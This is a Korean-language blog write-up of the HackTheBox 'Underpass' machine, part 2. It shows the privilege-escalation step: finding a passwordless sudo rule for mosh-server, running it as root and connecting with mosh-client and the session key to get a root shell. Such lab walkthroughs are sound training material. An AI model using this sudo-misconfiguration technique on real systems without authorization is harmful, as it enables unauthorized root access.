모의 해킹/Linux

[모의 해킹] HackTheBox - Underpass Part 2

solo-infosec 2025. 4. 6. 07:32

Underpass

OS: Linux

취약점: 취약한 Sudo 권한 설정

 

Mosh는 SSH 같이 원격 접속 기능을 제공하는 서버다. Sudo 권한으로 Mosh 서버를 실행하고  Mosh 서버가 생성한 터미널에 접속해 루트쉘을 획득할 수 있다.
 

Sudo

svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

sudo -l을 통해 svcMosh의 sudo 권한을 확인해 보자. 비밀번호 없이 /usr/bin/mosh-server 바이너리를 실행할 수 있다. mosh-server가 무엇인지 직접 실행해 확인해 보자.
 

Mosh

svcMosh@underpass:~$ /usr/bin/mosh-server

Mosh의 버전이 1.3.2라는 것을 확인할 수 있다. 60001은 포트 번호 같고 JZ3ub+1eqBstF4wyM70G4Q는 무엇인이 확실하지 않다. pid는 2446인데 딱히 주목할만한 정보는 아닌 것 같다. -h--help option으로 mosh-server를 조금 더 조사해 보자.
 

svcMosh@underpass:~$ /usr/bin/mosh-server --help
Usage: /usr/bin/mosh-server new [-s] [-v] [-i LOCALADDR] [-p PORT[:PORT2]] [-c COLORS] [-l NAME=VALUE] [-- COMMAND...]

mosh-server 바이너리 파일은 IP와 포트 번호를 매개변수로 받는다. COMMAND는 명령어를 실행할 수 있다는 것인지 뭔지 확실하진 않다. Mosh가 정확히 무엇인지 구글링을 통해 조사해 보자.
 
https://mosh.org/

Mosh: the mobile shell

Mobile shell that supports roaming and intelligent local echo. Like SSH secure shell, but allows mobility and more responsive and robust.

mosh.org

설명을 읽어보면 SSH처럼 원격 터미널 접속 기능을 제공하는 서버인 것 같다. SSH보다 Wi-Fi 환경에서 더 잘돌아간다는데 오늘도 새로운걸 하나 배워간다. sudo 권한을 사용해 Mosh를 실행하고 사용자가 해당 Mosh 터미널에 접근할 수 있으면 루트 권한을 가진 터미널을 획득할 수 있을 것 같다는 생각이 살짝 스쳐지나 갔다. 구글링을 통해 Mosh 사용법에 대해서 조금 더 조사해 보자.
 
https://medium.com/@momo334678/mosh-server-sudo-privilege-escalation-82ef833bb246

mosh-server sudo privilege escalation

If you can run mosh with sudo or even suid …, then u can esclate ur privilege with the following:

medium.com

운이 좋게도 mosh-server를 사용해 권한 상승하는 방법을 자세하게 설명해준 글을 쉽게 찾을 수 있었다. 해당 글을 참고해 보면 아까 mosh-server를 실행했을 때 보여준 60001은 포트번호, JZ3ub+1eqBstF4wyM70G4Q은 비밀번호 키라는 것을 확인했다. 아까 예상했듯이 sudo 권한으로 mosh 터미널을 생성하고 사용자가 해당 터미널에 접근해 루트쉘을 획득할 수 있었다.
 

svcMosh@underpass:~$ sudo /usr/bin/mosh-server
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $export MOSH_KEY=obMqiOre3/VYcTAoLqJMiQ && mosh-client 10.129.231.213 60001

sudo 권한으로 mosh-server를 실행하고 제공된 포트 번호와 MOSH_KEY를 사용해 성공적으로 접속할 수 있었다. Mosh 터미널은 mosh-client 툴을 사용해 접근할 수 있다. (만약 설치되있지 않다면 apt 같은 명령어를 사용해 쉽게 설치 가능하다.) 접속하자마자 root쉘이 반겨준다.
 

결론

sudo 권한의 취약점을 제대로 이해하고 Mosh 서버가 무엇인지 간단한 조사만 할 수 있으면 쉽게 공략이 가능한 머신이다. 사실상 Dolaradius 웹 어플리케이션 서버를 통해 SSH에 접속까지 성공했다면 권한 상승까진 5~10분도 걸리지 않는다. (물론 sudo 권한이 아니라 다른 정보를 먼저 수집하면 더 걸릴 수도 있다) 만약 권한 상승에 어려움이 있었다면 sudo 권한이 무엇인지, 해당 계정의 sudo 권한을 확인하거나 사용하는 방법을 꼭 공부하도록 하자. sudo 권한에 대한 이해도는 리눅스 시스템 해킹에 있어서 매우 필수적인 부분이다.
 

이전편 바로가기

https://solo-infosec.tistory.com/16

[모의 해킹] HackTheBox - Underpass Part 1

UnderpassOS: Linux취약점: SNMP 기본 커뮤니티 스트링과 daloradius 기본 계정정보 SNMP 프로토콜을 통해 웹서버에 대한 정보를 수집할 수 있다. 수집한 정보를 사용해 Daloradius 웹 매니지먼트 어플리케이

solo-infosec.tistory.com